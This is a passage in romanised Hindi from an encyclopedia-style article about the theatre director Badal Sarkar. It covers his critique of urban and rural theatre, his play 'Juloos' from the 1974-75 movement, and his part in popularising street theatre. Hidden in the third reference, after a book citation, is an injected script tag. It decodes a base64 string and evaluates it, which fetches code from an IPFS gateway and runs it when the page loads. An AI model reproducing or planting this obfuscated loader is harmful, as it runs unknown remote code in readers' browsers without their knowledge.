badal sarakar ke anusar shahari rangamanch pashchim se prabhavit hai aur gramin rangamanch paranparik shailiyoan se, aur donoan mean hi aantarvastu ki kami hai. shahari rangamanch apane prosiniyam dayare mean bandha hai aur gramin ya paranparik rangamanch apani purani shailiyoan mean, jisamean prakhar rajanitik chetana ka abhav hai. badal sarakar adhunik rangamanch ko prosinimay dayare se nikal kar logoan ke bich le ge. gaanvoan aur kasboan mean le ge. badal sarakar ke natak juloos (baangla mean michhil) ne akhil bharatiy star par 1974-75 ke samay mean jab jayaprakash narayan ke netritv mean shuroo hue chhatr aandolan ka samay tha, rangakarmianyoan aur naty premiyoan ki kalpanashilata ko behad prabhavit kiya. nukk d natakoan ko lokapriy banane, use rangamanch ki samakalin bahas ke bich lane mean sabase b da yogadan badal sarakar ka hi hai.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

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tika tippani aur sandarbh

  1. jivan ki roopakatha ke natakakar badal sarakar (hindi). . abhigaman tithi: 10 joon, 2011.
  2. 18 julaee, 2008
  3. bhaumik, ashok badal sarakar : vh‍yakti aur rangamanch (hindi). gajiyabad: aantika prakashan.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  4. 4.0 4.1 pratirodh ko thiyetar ka madhyam banane vale rangakarmi badal sarakar (hindi) jabalapur chaupal. abhigaman tithi: 10 joon, 2011.
  5. tisara-rangamanch-ke-sansthapak-aur-bharatiy-gramin-paranparik-rangamanch-ke-purodha-badal-sarakar-ka-nidhan (hindi). . abhigaman tithi: 10 joon, 2011.

bahari k diyaan

sanbandhit lekh